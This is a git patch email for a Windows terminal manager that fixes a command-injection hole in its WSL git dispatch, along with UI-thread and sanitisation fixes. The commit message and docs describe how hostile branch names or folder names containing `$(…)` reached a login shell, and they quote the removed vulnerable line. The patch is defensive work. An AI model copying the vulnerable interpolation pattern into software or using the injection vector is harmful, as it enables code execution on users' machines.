From 9bed23854aea14286658180495290f9d3f9e186d Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 16:32:43 +0200 Subject: [PATCH 1/6] =?UTF-8?q?fix:=20pre-release=20review=20findings=20?= =?UTF-8?q?=E2=80=94=20command=20injection,=20UI-thread=20spawns,=20warnin?= =?UTF-8?q?gs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 1 of the v0.8.0 pre-release review. Two release blockers, both instances of a lesson the codebase had already learned somewhere else and not applied here. ## Command injection in the WSL git dispatch (HIGH) $"-d {QuoteForCmd(distro)} -- git -C {QuoteForCmd(cwd)} {arguments}" `wsl.exe … -- ` runs the tail through the distro's DEFAULT LOGIN SHELL. That is not a guess: ShellSession.BuildWslArgs documents it with an empirical test, which is exactly why *that* method uses `-e`. QuoteForCmd is MSVCRT argv quoting and cannot neutralise `$(…)`, backticks, `;`, `|` or `&`. Two reachable sinks: - CreateWorktreeAsync interpolated a branch name from the *cloned repo*, and git ref names legally contain all of those characters. Open a hostile repo, right-click a branch, make a worktree -> arbitrary execution in the distro. - The working folder, reached UNATTENDED by the git poll on a timer. A directory named `proj$(…)` is legal on Linux and creatable over \wsl$. Fixed by making argv argv all the way down: RunGitFullAsync takes IReadOnlyList, every command line is assembled by JoinArgv (MSVCRT quoting per element), and the WSL path execs `-e git` with no shell pass. The local path is fixed too — a `"` in a branch previously injected extra git argv. TranslateUncArgsToLinux (whole-string, two regex passes to cope with quoting) is replaced by TranslateUncArgToLinux (per argument). An argument either is a UNC or is not; no quote handling, no half-translated paths with spaces. This also fixes a plain bug: `--format=%(refname:short)` is a bash syntax error once a login shell sees it, so ListBranchesAsync never worked under WSL. GitServiceInjectionTests round-trips hostile payloads through the real CommandLineToArgvW. 18 of its 27 cases fail against a pre-fix simulation. ## WslDiscoveryService spawned processes on the UI thread The exact defect #70 fixed in GitService, reintroduced in a new service three times: Process.Start ahead of the first await, with every caller on the UI thread — including LaunchSessionAsync inside the restore loop. wsl.exe is worse than git here; it can boot a stopped distro VM. All three probes now share RunWslCaptureAsync, which is Task.Run-wrapped with ConfigureAwait(false). GetDistroHomeAsync was also using `--` where `-e` was intended. ## The rest - SanitizeBranch had no length cap while SanitizeTitle did, so an OSC 9001 emitter could put a megabyte "branch name" into a sidebar row. - UiThreadHeartbeat ticked unconditionally, checking the trace flag inside the tick — four Normal-priority dispatcher items/sec forever, in the app whose headline bug was UI-thread saturation. Now starts/stops with the setting. - GitRepoWatcher is shared and reference-counted per .git directory instead of one per session (~20 watchers rather than ~47 at the reporter's scale). - wsl -l -v header detection matched the literal "NAME", so a localized header parsed as a phantom distro. Now requires a parseable VERSION column. - Version was still 0.6.0, two releases stale. Now 0.8.0. - Three non-Catppuccin colour literals replaced with Mocha values. - UITests: 14 nullable warnings fixed with a Require() helper that names the missing AutomationId rather than `!` (issue #92). The solution now builds at zero warnings for the first time. - CLAUDE.md: documents Diagnostics/, the new services, the argv rule, and the second UI-thread offence; corrects the stale `wsl … bash -lc` claim. | Check | Result | |---|---| | Solution build (Release, clean) | 0 errors, 0 warnings | | Unit tests | 529/529 (34 new) | | Vulnerable packages | none | | Injection tests vs pre-fix code | 18/27 fail, as intended | Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- CLAUDE.md | 59 ++++++- src/CodeShellManager/CodeShellManager.csproj | 2 +- .../Diagnostics/UiThreadHeartbeat.cs | 17 ++ src/CodeShellManager/MainWindow.xaml | 4 +- src/CodeShellManager/MainWindow.xaml.cs | 5 +- .../Services/GitRepoWatcher.cs | 70 +++++++++ src/CodeShellManager/Services/GitService.cs | 147 +++++++++++------- .../Services/ShellIntegrationPayload.cs | 29 +++- .../Services/WslDiscoveryService.cs | 105 +++++++------ .../ViewModels/SessionViewModel.cs | 6 +- .../GitRepoWatcherTests.cs | 82 ++++++++++ .../GitServiceInjectionTests.cs | 138 ++++++++++++++++ .../GitServiceWslRoutingTests.cs | 56 ++++--- .../ShellIntegrationPayloadTests.cs | 38 +++++ tests/CodeShellManager.UITests/AppFixture.cs | 8 +- .../Helpers/AppActions.cs | 36 +++-- .../CodeShellManager.UITests/SettingsTests.cs | 12 +- 17 files changed, 646 insertions(+), 168 deletions(-) create mode 100644 tests/CodeShellManager.Tests/GitServiceInjectionTests.cs diff --git a/CLAUDE.md b/CLAUDE.md index 3782bc4..a3109dc 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -59,8 +59,10 @@ PTY (ConPTY) → PseudoTerminal → TerminalBridge → WebView2 (xterm.js) | `StateService` | JSON persistence → `%AppData%/CodeShellManager/state.json`. Writes are **atomic**: serialize to `.tmp`, then `File.Replace` into place, rotating the previous file to `.bak`. `LoadAsync` falls back to `.bak` when the primary won't parse, and logs every step to `crash.log` rather than silently starting empty. A static `SemaphoreSlim` serializes saves — 29 of the ~32 `SaveStateAsync` call sites are fire-and-forget, and overlapping saves would otherwise race on the shared temp file. See issue #88. | | `SearchService` | SQLite FTS5 search of all terminal output; also owns the `project_notes` table | | `ColorService` | FNV-1a hash of folder path → 12-color palette | -| `GitService` | Async `git branch --show-current` + `git status --porcelain`. **Every await is `ConfigureAwait(false)` and `RunGitFullAsync` is `Task.Run`-wrapped — do not "simplify" either away.** See "Never spawn a process on the UI thread" below | -| `GitRepoWatcher` | `FileSystemWatcher` on a repo's `.git/HEAD` + `index`, debounced 400ms. Lets git state refresh on checkout/commit/stage instead of by polling. Resolves the `gitdir:` indirection so a linked worktree watches its own HEAD, not the main repo's. Returns null outside a repo — callers treat that as "poll only", not an error | +| `GitService` | Async `git branch --show-current` + `git status --porcelain`. **Every await is `ConfigureAwait(false)`, `RunGitFullAsync` is `Task.Run`-wrapped, and command lines are built as argv via `JoinArgv` — do not "simplify" any of the three away.** WSL repos are dispatched through `wsl.exe -d -e git …`; `-e` is a security boundary, see "Never interpolate a value into a command line" | +| `GitRepoWatcher` | Shared, reference-counted `FileSystemWatcher` on a repo's `.git/HEAD` + `index`, debounced 400ms. Lets git state refresh on checkout/commit/stage instead of by polling. Resolves the `gitdir:` indirection so a linked worktree watches its own HEAD, not the main repo's. Acquire/Release per session — one watcher per `.git` dir, however many sessions share it. Returns null outside a repo — callers treat that as "poll only", not an error | +| `WslDiscoveryService` | `wsl.exe` probes for distro list, `$HOME` and login shell, each cached per (distro, user) and capped at 3s. All three go through `RunWslCaptureAsync`, which is `Task.Run`-wrapped — **never call `Process.Start` inline here**, `wsl.exe` can boot a stopped distro VM | +| `ShellIntegrationPayload` | WPF-free validation for OSC 9001. Every field is untrusted: colour is strict hex, dirty is an allowlist, title and branch strip control characters and are length-capped (`MaxTitleLength` 80, `MaxBranchLength` 200) | | `AlertDetector` | Pattern matching for Claude prompts/approvals | | `CommandPresetsService` | Launch presets + in-session shortcuts | | `ClaudeSessionService` | Detects `claude` invocations; finds last `--resume` session id under `~/.claude/projects/` | @@ -101,10 +103,17 @@ src/CodeShellManager/ │ ├── GitService.cs # Git branch + dirty detection │ ├── AlertDetector.cs # PTY output pattern matching │ ├── CommandPresetsService.cs # Launch presets + in-session shortcuts +│ ├── GitRepoWatcher.cs # .git HEAD/index watcher; replaces most git polling +│ ├── WslDiscoveryService.cs # wsl.exe probes: distros, $HOME, login shell +│ ├── ShellIntegrationPayload.cs # OSC 9001 validation (WPF-free, all values untrusted) │ └── ToastHelper.cs # Tray balloon notifications +├── Diagnostics/ +│ ├── DiagnosticTrace.cs # Buffered [DEBUG-tt] writer (never blocks the caller) +│ └── UiThreadHeartbeat.cs # UI-thread lateness, attributed to no session ├── Terminal/ │ ├── PseudoTerminal.cs # ConPTY P/Invoke wrapper │ ├── TerminalBridge.cs # WebView2 ↔ PTY bridge +│ ├── OutputCoalescer.cs # Collapses PTY chunks into one dispatcher post │ └── OutputIndexer.cs # Async ANSI-stripped SQLite writer ├── ViewModels/ │ ├── MainViewModel.cs # App-level state @@ -162,7 +171,14 @@ Measured on this hardware, and the numbers are the argument: **~85-90% of any git call is process startup, not git.** There is no faster query to switch to, so the only fixes are to not be on the UI thread and to not spawn at all. -Three rules, all load-bearing: +**This has now been got wrong twice.** The v0.8.0 pre-release review found +`WslDiscoveryService` doing exactly the same thing in a new service — three `Process.Start` +calls ahead of the first `await`, every caller on the UI thread including `LaunchSessionAsync` +inside the restore loop — and `wsl.exe` is the worse offender, because it can boot a stopped +distro VM. All three now go through `RunWslCaptureAsync`, which is `Task.Run`-wrapped. When +adding a service that shells out, this is the pattern to copy. + +Four rules, all load-bearing: 1. **`GitService` must never depend on the caller's thread.** `RunGitFullAsync` is `Task.Run`-wrapped so `Process.Start` cannot run inline, and every await is @@ -174,7 +190,40 @@ Three rules, all load-bearing: 3. **Don't poll what you can watch.** `GitRepoWatcher` catches checkout/commit/stage immediately; the poll only survives for working-tree edits, which dirty `status` without touching `.git`. Foreground sessions poll at 10s, background at 120s, and switching to a - pane forces an immediate refresh via `SessionViewModel.IsForegroundSession`. + pane forces an immediate refresh via `SessionViewModel.IsForegroundSession`. Acquire it + with `GitRepoWatcher.Acquire`/`Release`, never `new` — watchers are shared and + reference-counted per `.git` directory, because several sessions in one repo is the + normal case. +4. **Build command lines as argv, never by interpolation.** `GitService` composes every + invocation through `JoinArgv`, which quotes each element with the MSVCRT rules. This is a + security boundary, not a style rule — see below. + +## Never interpolate a value into a command line + +`wsl.exe … -- ` runs the tail **through the distro's default login shell**; `-e` execs +the program directly. That distinction is documented for *correctness* under +`ShellSession.BuildWslArgs` (double expansion mangles payloads), but in `GitService` it was a +**command-injection vector**, found in the v0.8.0 pre-release review: + +```csharp +// before — every value below reached a shell +$"-d {QuoteForCmd(distro)} -- git -C {QuoteForCmd(cwd)} {arguments}" +``` + +`QuoteForCmd` is MSVCRT **argv** quoting. It does not, and cannot, neutralise `$(…)`, +backticks, `;`, `|` or `&`. Two live paths: a branch name from a cloned repo flowing into +`worktree add -b` (git ref names legally contain all of those), and the session's working +folder, reached **unattended** by the git poll. Opening a hostile repository was enough. + +The rule: values go in as argv elements, and the process is exec'd directly. No shell, so +argv quoting is both correct and sufficient. `GitService.BuildWslGitCommandLine` and +`BuildLocalGitCommandLine` are the only places that build these, and +`GitServiceInjectionTests` round-trips hostile payloads through the real +`CommandLineToArgvW` to prove each survives as exactly one argument — 18 of its 27 cases +fail against the pre-fix code. + +The same fix removed a plain bug: `--format=%(refname:short)` is a bash syntax error once a +login shell sees it, so `ListBranchesAsync` could never have worked under WSL. Guarded by `tests/CodeShellManager.Tests/GitServiceThreadingTests.cs`, which calls `GitService` from a thread whose `SynchronizationContext` never runs work: if any await @@ -405,7 +454,7 @@ Each session can have a list of "run commands" — labelled command lines invoke **Data:** `ShellSession.RunCommands: List { Id, Label, CommandLine, IsDefault, Mode, PostRunUrl }`. Exactly one item has `IsDefault=true`; see `RunCommandItem.EnsureSingleDefault`. Persisted to `state.json`. -- **`Mode`** (`RunMode.Process` default / `RunMode.PowerShell`) — `Process` runs through `cmd /c` as before; `PowerShell` wraps the command line in `pwsh.exe -NonInteractive -NoLogo -ExecutionPolicy Bypass -EncodedCommand ` (falls back to `powershell.exe` if `pwsh` isn't on PATH). SSH and WSL parents ignore `Mode` — those runs always go through bash (`ssh … bash -c` / `wsl.exe … bash -lc`). Use PowerShell when the command relies on pipes (`|`), redirection (`>`), `$env:` variables, or cmdlets. +- **`Mode`** (`RunMode.Process` default / `RunMode.PowerShell`) — `Process` runs through `cmd /c` as before; `PowerShell` wraps the command line in `pwsh.exe -NonInteractive -NoLogo -ExecutionPolicy Bypass -EncodedCommand ` (falls back to `powershell.exe` if `pwsh` isn't on PATH). SSH and WSL parents ignore `Mode` — those runs always go through a POSIX shell (`ssh … bash -c` / `wsl.exe … -e -lc`, where the WSL shell is probed per-distro and falls back to `sh` where bash is absent). Use PowerShell when the command relies on pipes (`|`), redirection (`>`), `$env:` variables, or cmdlets. - **`PostRunUrl`** (`string?`, default `null`) — when set and the run exits with code 0, `Process.Start` opens the URL via `UseShellExecute=true` (default browser). No health-check polling. The value is gated by `RunInstance.IsLaunchableUrl` first: **only absolute `http`/`https` URLs are launched.** ShellExecute would otherwise run a local exe, a `.ps1`, a UNC path or any registered protocol handler, and this fires automatically with no confirmation — and `ImportExportService` deserializes a whole `AppState` (run commands included) from any JSON file the user points at, so the stored value is not trusted. Rejections and launch failures both append to `crash.log`; neither pops UI, since this runs on the PTY-exit callback thread. Scheme-less input (`localhost:5173`) is rejected rather than guessed at. **Templates:** `RunCommandTemplatesService.SeedFor(folder)` detects project type (top-level scan, first-match: dotnet → cargo → node → python → make) and returns a seed list with fresh Ids. Templates are *copied* onto new sessions at creation time; subsequent edits don't propagate back. SSH sessions skip detection (empty list). diff --git a/src/CodeShellManager/CodeShellManager.csproj b/src/CodeShellManager/CodeShellManager.csproj index 29c4ff3..90f5153 100644 --- a/src/CodeShellManager/CodeShellManager.csproj +++ b/src/CodeShellManager/CodeShellManager.csproj @@ -13,7 +13,7 @@ AssemblyVersion and FileVersion deliberately left unset so they derive from this and stay in step; pinning them shipped binaries reporting 0.3.4.0 for every release up to and including v0.5.0. --> - 0.6.0 + 0.8.0 Assets\app.ico diff --git a/src/CodeShellManager/Diagnostics/UiThreadHeartbeat.cs b/src/CodeShellManager/Diagnostics/UiThreadHeartbeat.cs index 744a7a0..a4d1a1c 100644 --- a/src/CodeShellManager/Diagnostics/UiThreadHeartbeat.cs +++ b/src/CodeShellManager/Diagnostics/UiThreadHeartbeat.cs @@ -42,10 +42,27 @@ public UiThreadHeartbeat(AppSettings settings) _timer.Tick += OnTick; } + /// + /// Starts ticking only when tracing is on. Call again whenever the setting changes. + /// + /// The timer used to run unconditionally and check the flag inside the tick, which put + /// four Normal-priority dispatcher items per second on the UI thread forever — in the + /// app whose headline bug (issue #70) was UI-thread saturation. Small, but it is exactly + /// the kind of always-on cost this diagnostic exists to find. + /// + public void SyncToSettings() + { + if (_settings.DebugTerminalTrace == true) Start(); + else Stop(); + } + public void Start() { + if (_timer.IsEnabled) return; _expectedNextMs = Environment.TickCount64 + IntervalMs; _lastSummaryMs = Environment.TickCount64; + _overCount = 0; + _worstMs = 0; _timer.Start(); } diff --git a/src/CodeShellManager/MainWindow.xaml b/src/CodeShellManager/MainWindow.xaml index 23d711d..8ef7615 100644 --- a/src/CodeShellManager/MainWindow.xaml +++ b/src/CodeShellManager/MainWindow.xaml @@ -115,8 +115,8 @@ - , or null /// if it isn't in a repo or the platform refuses the watch. Callers treat null as /// "poll only" rather than an error — a session in a plain folder is perfectly valid. + /// + /// Prefer : several sessions commonly sit in the same repo (that is + /// the entire point of the worktree-sibling feature) and each would otherwise get its + /// own FileSystemWatcher on the same directory. /// public static GitRepoWatcher? TryCreate(string workingFolder) { @@ -70,6 +74,72 @@ private GitRepoWatcher(string gitDir) } } + // ── Sharing ─────────────────────────────────────────────────────────────── + // One watcher per .git directory, reference-counted, rather than one per session. + // At 47 sessions across ~20 repos that is 20 kernel watch handles and 20 buffers + // instead of 47 of each, and a single git operation wakes one watcher rather than + // every session that happens to share the repo. + + private static readonly object SharedLock = new(); + private static readonly Dictionary Shared = + new(StringComparer.OrdinalIgnoreCase); + + private string? _sharedKey; + + /// + /// Returns the shared watcher for this folder's repo, creating it on first use. + /// Release it with — never Dispose a shared instance + /// directly, or the other sessions in that repo stop receiving events. + /// + public static GitRepoWatcher? Acquire(string workingFolder) + { + string? gitDir; + try + { + gitDir = ResolveGitDir(workingFolder); + if (gitDir == null || !Directory.Exists(gitDir)) return null; + } + catch { return null; } + + lock (SharedLock) + { + if (Shared.TryGetValue(gitDir, out var existing)) + { + Shared[gitDir] = (existing.Watcher, existing.RefCount + 1); + return existing.Watcher; + } + + GitRepoWatcher created; + try { created = new GitRepoWatcher(gitDir); } + catch { return null; } + + created._sharedKey = gitDir; + Shared[gitDir] = (created, 1); + return created; + } + } + + /// Drops one reference; disposes the watcher when the last session lets go. + public static void Release(GitRepoWatcher? watcher) + { + if (watcher?._sharedKey is not string key) { watcher?.Dispose(); return; } + + lock (SharedLock) + { + if (!Shared.TryGetValue(key, out var entry)) return; + if (entry.RefCount > 1) + { + Shared[key] = (entry.Watcher, entry.RefCount - 1); + return; + } + Shared.Remove(key); + entry.Watcher.Dispose(); + } + } + + /// Live shared-watcher count. Tests only. + internal static int SharedCount { get { lock (SharedLock) return Shared.Count; } } + /// /// Walks up from looking for .git. A directory is /// the ordinary case; a *file* means a linked worktree, and its gitdir: line diff --git a/src/CodeShellManager/Services/GitService.cs b/src/CodeShellManager/Services/GitService.cs index 0723968..3c0aad1 100644 --- a/src/CodeShellManager/Services/GitService.cs +++ b/src/CodeShellManager/Services/GitService.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; @@ -16,11 +17,11 @@ public static class GitService try { - string? branch = await RunGitAsync(folderPath, "branch --show-current").ConfigureAwait(false); + string? branch = await RunGitAsync(folderPath, "branch", "--show-current").ConfigureAwait(false); if (string.IsNullOrWhiteSpace(branch)) return (null, false); - string? statusOutput = await RunGitAsync(folderPath, "status --porcelain").ConfigureAwait(false); + string? statusOutput = await RunGitAsync(folderPath, "status", "--porcelain").ConfigureAwait(false); bool isDirty = !string.IsNullOrWhiteSpace(statusOutput); return (branch.Trim(), isDirty); @@ -45,7 +46,7 @@ public static class GitService return null; try { - string? commonDir = await RunGitAsync(folderPath, "rev-parse --git-common-dir").ConfigureAwait(false); + string? commonDir = await RunGitAsync(folderPath, "rev-parse", "--git-common-dir").ConfigureAwait(false); if (string.IsNullOrWhiteSpace(commonDir)) return null; string trimmed = commonDir.Trim(); @@ -82,7 +83,7 @@ public static async Task> ListWorktreesAsync(string return Array.Empty(); try { - string? raw = await RunGitAsync(folderPath, "worktree list --porcelain").ConfigureAwait(false); + string? raw = await RunGitAsync(folderPath, "worktree", "list", "--porcelain").ConfigureAwait(false); if (string.IsNullOrWhiteSpace(raw)) return Array.Empty(); // Output is blank-line separated stanzas: @@ -125,7 +126,7 @@ public static async Task> ListBranchesAsync(string folderP return Array.Empty(); try { - string? raw = await RunGitAsync(folderPath, "for-each-ref --format=%(refname:short) refs/heads").ConfigureAwait(false); + string? raw = await RunGitAsync(folderPath, "for-each-ref", "--format=%(refname:short)", "refs/heads").ConfigureAwait(false); if (string.IsNullOrWhiteSpace(raw)) return Array.Empty(); var lines = raw.Replace("\r", "").Split('\n', StringSplitOptions.RemoveEmptyEntries); return lines; @@ -147,9 +148,14 @@ public static async Task> ListBranchesAsync(string folderP if (string.IsNullOrWhiteSpace(branchOrRef)) return (false, "Branch is required."); - string args = createBranch - ? $"worktree add -b \"{branchOrRef}\" \"{targetPath}\"" - : $"worktree add \"{targetPath}\" \"{branchOrRef}\""; + // argv, not an interpolated string. branchOrRef comes from ListBranchesAsync — i.e. + // from the cloned repo — and git ref names legally contain `$ ( ) ; & |` and + // backticks. Interpolated into a command line that reached a shell, that was remote + // code execution from opening a hostile repo; interpolated into the local path it + // still injected extra git argv via a `"`. + string[] args = createBranch + ? new[] { "worktree", "add", "-b", branchOrRef, targetPath } + : new[] { "worktree", "add", targetPath, branchOrRef }; var (output, stderr, exit) = await RunGitFullAsync(repoRoot, args, timeoutMs: 30_000).ConfigureAwait(false); if (exit == 0) return (true, ""); @@ -159,33 +165,64 @@ public static async Task> ListBranchesAsync(string folderP return (false, err.Trim()); } - private static async Task RunGitAsync(string workingDir, string arguments) + private static async Task RunGitAsync(string workingDir, params string[] args) { - var (stdout, _, exit) = await RunGitFullAsync(workingDir, arguments, timeoutMs: 3000).ConfigureAwait(false); + var (stdout, _, exit) = await RunGitFullAsync(workingDir, args, timeoutMs: 3000).ConfigureAwait(false); return exit == 0 ? stdout : null; } + /// + /// Joins argv into a Windows command line, quoting each element with the MSVCRT rules. + /// + /// Every git invocation is built this way rather than by string interpolation. The old + /// shape — $"-C \"{workingDir}\" {arguments}" — meant any caller interpolating a + /// branch name or path into arguments was one " away from injecting extra + /// argv, and on the WSL path (which passed through a login shell) one $(…) away + /// from arbitrary command execution. Argv in, argv out: there is no string for a + /// metacharacter to be a metacharacter in. + /// + private static string JoinArgv(IEnumerable args) => + string.Join(" ", args.Select(a => Models.ShellSession.QuoteForCmd(a))); + + /// + /// Builds the wsl.exe command line for one git invocation inside a distro. Extracted so + /// it can be round-tripped through the real Win32 tokenizer in tests — see + /// GitServiceInjectionTests. + /// + internal static string BuildWslGitCommandLine( + string distro, string cwd, IReadOnlyList gitArgs) + { + var argv = new List { "-d", distro, "-e", "git", "-C", cwd }; + foreach (string a in gitArgs) argv.Add(TranslateUncArgToLinux(a, distro)); + return JoinArgv(argv); + } + + /// Builds the local git command line. Extracted for the same reason. + internal static string BuildLocalGitCommandLine( + string workingDir, IReadOnlyList gitArgs) => + JoinArgv(new[] { "-C", workingDir }.Concat(gitArgs)); + /// /// Runs one git command. The body is wrapped in deliberately — /// see the note on Process.Start below (issue #70). /// private static Task<(string stdout, string stderr, int exit)> RunGitFullAsync( - string workingDir, string arguments, int timeoutMs) - => Task.Run(() => RunGitCoreAsync(workingDir, arguments, timeoutMs)); + string workingDir, IReadOnlyList args, int timeoutMs) + => Task.Run(() => RunGitCoreAsync(workingDir, args, timeoutMs)); private static async Task<(string stdout, string stderr, int exit)> RunGitCoreAsync( - string workingDir, string arguments, int timeoutMs) + string workingDir, IReadOnlyList args, int timeoutMs) { // WSL working folders (\\wsl$\\…) get routed through wsl.exe so git // runs inside the distro. Git for Windows trips on WSL UNCs (dubious-ownership // checks, .git symlink quirks) and reports "not a git repo" for valid repos. var (wslDistro, linuxPath) = TryParseWslUnc(workingDir); if (wslDistro != null) - return await RunGitInWslAsync(wslDistro, linuxPath, arguments, timeoutMs); + return await RunGitInWslAsync(wslDistro, linuxPath, args, timeoutMs).ConfigureAwait(false); var psi = new ProcessStartInfo("git") { - Arguments = $"-C \"{workingDir}\" {arguments}", + Arguments = BuildLocalGitCommandLine(workingDir, args), RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, @@ -214,7 +251,7 @@ public static async Task> ListBranchesAsync(string folderP if (Diagnostics.DiagnosticTrace.Enabled) Diagnostics.DiagnosticTrace.Write("DEBUG-tt", "git", $"GIT-SPAWN on-ui={onUi} spawn={Environment.TickCount64 - spawnStart}ms " + - $"args='{arguments}'"); + $"args='{string.Join(" ", args)}'"); if (process is null) return ("", "", -1); @@ -242,13 +279,25 @@ public static async Task> ListBranchesAsync(string folderP /// back to UNC form so callers receive Windows-shaped paths. /// private static async Task<(string stdout, string stderr, int exit)> RunGitInWslAsync( - string distro, string linuxPath, string arguments, int timeoutMs) + string distro, string linuxPath, IReadOnlyList gitArgs, int timeoutMs) { - string translatedArgs = TranslateUncArgsToLinux(arguments, distro); - // QuoteForCmd handles spaces in both the distro name (rare) and the cwd - // (Linux paths often have them) without disturbing the simple-name case. string cwd = string.IsNullOrEmpty(linuxPath) ? "/" : linuxPath; - string args = $"-d {Models.ShellSession.QuoteForCmd(distro)} -- git -C {Models.ShellSession.QuoteForCmd(cwd)} {translatedArgs}"; + + // `-e`, NOT `--`. This is the same rule ShellSession.BuildWslArgs documents and for + // the same reason, but here it is a security boundary rather than a correctness one: + // `wsl.exe … -- ` runs the tail through the distro's DEFAULT LOGIN SHELL, so a + // `$(…)`, backtick, `;` or `|` anywhere in the working folder or in a git argument + // executed inside the distro. QuoteForCmd is MSVCRT *argv* quoting and does not — and + // cannot — neutralise shell metacharacters. + // + // Reachable before this fix: a branch name from a cloned repo (git permits `$ ( ) ; &` + // and backticks in refs) flowing into `worktree add -b`, and a working-folder path + // reached automatically by the git poll. `-e` executes git directly with no shell + // pass, which makes argv quoting both correct and sufficient. + // + // It also fixes a plain bug: `--format=%(refname:short)` was a bash syntax error once + // the login shell saw it, so ListBranchesAsync could never have worked under WSL. + string args = BuildWslGitCommandLine(distro, cwd, gitArgs); var psi = new ProcessStartInfo("wsl.exe") { @@ -286,39 +335,6 @@ public static async Task> ListBranchesAsync(string folderP internal static (string? distro, string linuxPath) TryParseWslUnc(string path) => WslDiscoveryService.TryParseUncPath(path); - /// - /// Replaces WSL UNC tokens in a git arg string with their Linux equivalents. - /// Only translates UNCs that belong to — a UNC for a - /// different distro is passed through unchanged (so the caller sees the eventual - /// "no such directory" error rather than silently aiming at the wrong tree). - /// - internal static string TranslateUncArgsToLinux(string arguments, string distro) - { - if (string.IsNullOrEmpty(arguments)) return arguments; - string esc = Regex.Escape(distro); - // Lookahead: the distro name must be followed by a separator, a quote, whitespace or - // end-of-string — otherwise `Ubuntu` also matches `Ubuntu-22.04`. - string body = $@"\\\\wsl(?:\$|\.localhost)\\{esc}(?=[\\""\s]|$)"; - - // Pass 1: quoted UNCs ("\\wsl$\\..."). The tail may contain spaces - // and runs until the closing quote — without this pass, the unquoted regex - // below would stop at the first space and produce a half-translated path. - arguments = Regex.Replace(arguments, $@"""({body}(?:\\[^""]*)?)""", m => - { - var (_, linux) = TryParseWslUnc(m.Groups[1].Value); - return "\"" + (string.IsNullOrEmpty(linux) ? "/" : linux) + "\""; - }, RegexOptions.IgnoreCase); - - // Pass 2: unquoted UNCs. The tail runs to whitespace; if a path needed - // spaces it would have been quoted and handled above. - arguments = Regex.Replace(arguments, $@"{body}(?:\\[^""\s]*)?", m => - { - var (_, linux) = TryParseWslUnc(m.Value); - return string.IsNullOrEmpty(linux) ? "/" : linux; - }, RegexOptions.IgnoreCase); - - return arguments; - } /// /// Replaces absolute Linux paths in (typically git stdout) @@ -326,6 +342,29 @@ internal static string TranslateUncArgsToLinux(string arguments, string distro) /// paths. Conservative — only matches tokens at start-of-line or after whitespace /// to avoid mangling text that happens to contain a slash. /// + /// + /// Translates ONE argument: a \\wsl$\<distro>\… path becomes its Linux + /// equivalent, anything else is returned unchanged. A UNC belonging to a *different* + /// distro is passed through untouched, so the caller sees the eventual "no such + /// directory" rather than silently aiming at the wrong tree. + /// + /// Replaced a whole-command-line regex that needed two passes (quoted and unquoted) + /// purely because arguments had been pre-joined into a string. Now that argv stays + /// argv, an argument either is a UNC or is not — no quote handling, and no way for a + /// path containing spaces to end up half-translated. + /// + internal static string TranslateUncArgToLinux(string argument, string distro) + { + if (string.IsNullOrEmpty(argument)) return argument; + + var (parsedDistro, linux) = TryParseWslUnc(argument); + if (parsedDistro == null) return argument; + if (!string.Equals(parsedDistro, distro, StringComparison.OrdinalIgnoreCase)) + return argument; + + return string.IsNullOrEmpty(linux) ? "/" : linux; + } + internal static string TranslateLinuxPathsToUnc(string text, string distro) { if (string.IsNullOrEmpty(text)) return text; diff --git a/src/CodeShellManager/Services/ShellIntegrationPayload.cs b/src/CodeShellManager/Services/ShellIntegrationPayload.cs index 2266e3c..c296766 100644 --- a/src/CodeShellManager/Services/ShellIntegrationPayload.cs +++ b/src/CodeShellManager/Services/ShellIntegrationPayload.cs @@ -19,6 +19,12 @@ public static class ShellIntegrationPayload /// or the sidebar row. public const int MaxTitleLength = 80; + /// + /// Cap for an OSC 9001 git-branch value. Generous next to any real ref name — + /// this bounds a hostile or buggy emitter, it does not police legitimate branches. + /// + public const int MaxBranchLength = 200; + /// /// Accepts #rgb, #rrggbb and #rrggbbaa. Returns the string in the /// form WPF's ColorConverter expects: 3- and 6-digit values unchanged, 8-digit @@ -60,9 +66,26 @@ public static bool ParseDirty(string? input) return clean[..cut].TrimEnd(); } - /// Strips control characters and trims. Returns null for an empty result, - /// which the caller treats as "no branch" (detached HEAD, not a repo). - public static string? SanitizeBranch(string? input) => StripControls(input); + /// + /// Strips control characters, trims, and caps length. Returns null for an empty + /// result, which the caller treats as "no branch" (detached HEAD, not a repo). + /// + /// The cap is not cosmetic. This value comes from whatever printed to the terminal, and + /// it is rendered into a sidebar row; an unbounded branch let any program wedge the UI + /// with a megabyte-long "branch name". Titles were already capped — branches were not. + /// Git's own ref names are far below this limit, so nothing legitimate is truncated. + /// + public static string? SanitizeBranch(string? input) + { + string? clean = StripControls(input); + if (clean is null) return null; + if (clean.Length <= MaxBranchLength) return clean; + + int cut = MaxBranchLength; + if (char.IsHighSurrogate(clean[cut - 1])) cut--; + string trimmed = clean[..cut].TrimEnd(); + return trimmed.Length == 0 ? null : trimmed; + } private static string? StripControls(string? input) { diff --git a/src/CodeShellManager/Services/WslDiscoveryService.cs b/src/CodeShellManager/Services/WslDiscoveryService.cs index 0e219f5..3216f65 100644 --- a/src/CodeShellManager/Services/WslDiscoveryService.cs +++ b/src/CodeShellManager/Services/WslDiscoveryService.cs @@ -50,21 +50,10 @@ public static async Task> GetDistrosAsync() StandardErrorEncoding = Encoding.Unicode, }; - using var process = Process.Start(psi); - if (process is null) return Array.Empty(); + var (stdout, _, exit) = await RunWslCaptureAsync(psi, 3000).ConfigureAwait(false); + if (exit != 0) return Array.Empty(); - var outTask = process.StandardOutput.ReadToEndAsync(); - var bothTask = Task.WhenAll(outTask, process.StandardError.ReadToEndAsync()); - var completed = await Task.WhenAny(bothTask, Task.Delay(3000)); - if (completed != bothTask) - { - try { process.Kill(); } catch { } - return Array.Empty(); - } - try { await process.WaitForExitAsync(); } catch { } - if (process.ExitCode != 0) return Array.Empty(); - - return Parse(outTask.Result); + return Parse(stdout); } catch (Exception) { @@ -109,7 +98,12 @@ internal static IReadOnlyList Parse(string raw) int stateIdx = tokens.Length - 2; string name = string.Join(' ', tokens, firstNameIdx, stateIdx - firstNameIdx); string state = tokens[stateIdx]; - int.TryParse(tokens[versionIdx], out int version); + + // A real row's VERSION column is always an integer. The header's is the word + // "VERSION" — which the literal "NAME" check above only catches on an English + // Windows; a localized header would otherwise land here as a phantom distro 